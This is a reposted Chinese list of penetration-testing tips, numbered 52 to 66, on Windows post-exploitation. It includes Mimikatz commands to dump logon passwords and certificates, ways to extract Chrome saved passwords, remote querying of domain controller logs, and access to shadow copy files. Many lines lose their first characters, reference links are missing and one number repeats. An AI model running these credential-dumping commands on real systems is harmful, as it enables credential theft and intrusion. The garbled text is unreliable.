https://github.com/3gstudent/SendMail-with-Attachments

https://github.com/3gstudent/ListInstalledPrograms

参考:

《渗透技巧——获得Windows系统的远程桌面连接历史记录》

看到一篇很棒的博文...顺手转载了
转自：https://github.com/3gstudent/Pentest-and-Development-Tips

```
powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords""""""
```

---

ips 52 dll注入方法 APC参考：2、process hollowing参考：3、Process Doppelgänging参考：

Tips 53 域内默认共享目录

```
\\<DOMAIN>\SYSVOL\<DOMAIN>\
```

所有域内主机都能访问，里面保存组策略相关数据，包含登录脚本配置文件等

参考：

ips 54 你的TeamViewer有可能被反控

如果你的TeamViewer版本为 `13.0.5058`，不要随意连接未知的TeamViewer服务器，有可能被反控

参考：

ips 55 远程查看域控登录、注销相关的日志

方法1:

```
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password
```

方法2(不推荐，直接下载文件太大)

获取域控文件: `C:\Windows\System32\winevt\Logs\Security.evtx`，筛选事件4624/4623/4672

Tips 56 判断当前系统是否处在待机状态

锁屏状态下GetForegroundWindow()的函数返回值为NULL，非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值

参考：

Tips 57 获得当前系统用户无输入的时间

通过API GetIdleTime进行判断

c#实现：

ips 58 判断当前系统的屏保启动时间

判断是否开启屏保：

查找注册表 `HKEY_CURRENT_USER\Control Panel\Desktop`，是否存在键值 `SCRNSAVE.EXE`

```
REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE
```

如果开启屏保，查看键值 `ScreenSaveTimeOut` 获得屏保启动时间(以秒为单位)

```
REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut
```

Tips 59 隐藏指定进程的界面

通过API ShowWindowAsync改变窗口状态

通过powershell实现，脚本可参考：

Tips 60 通过Powershell对Windows系统截屏

脚本下载地址：

Tips 61 查看当前Windows系统已安装的程序

通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取

：

4位系统下32位程序的目录为 `HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall`

owershell脚本实现的参考地址：

Tips 62 通过wmi获得当前系统的类型

```
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list
```

Value	Meaning
0 (0x0)	Unspecified
1 (0x1)	Desktop
2 (0x2)	Mobile
3 (0x3)	Workstation
4 (0x4)	Enterprise Server
5 (0x5)	Small Office and Home Office (SOHO) Server
6 (0x6)	Appliance PC
7 (0x7)	Performance Server
8 (0x8)	Maximum

Tips 63 导出Chrome浏览器保存的密码

1、在线获取

方法1:

取数据库文件 `%LocalAppData%\Google\Chrome\User Data\Default\Login Data`，如果Chrome浏览器正在运行，无法直接读取，需要先复制

当前系统调用API CryptUnprotectData直接解密

方法2:

imikatz

```
vault::cred
```

考：

2、离线获取

使用Master Key，不需要获得用户明文密码

参考:

ips 65 通过ShadowCopy获得系统的历史文件

查询当前系统有无快照：

```
vssadmin list shadows
```

访问历史快照中的文件：

```
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc
```

参考:

Tips 64 命令行执行多条命令的方法

```
aa && bb
```

行aa，成功后再执行bb

```
aa || bb
```

执行aa，若执行成功则不再执行bb，若失败则再执行bb

```
aa & bb
```

执行aa再执行bb，无论aa是否成功

Tips 65 通过powershell发送邮件(包含附件)

种方法，代码可参考：

Tips 66 通过powershell读取注册表获得所有用户的远程桌面连接历史记录

默认读注册表只能获取当前已登录用户的注册表信息,可通过 `reg load` 加载配置单元获得未登录用户的注册表配置

代码可参考：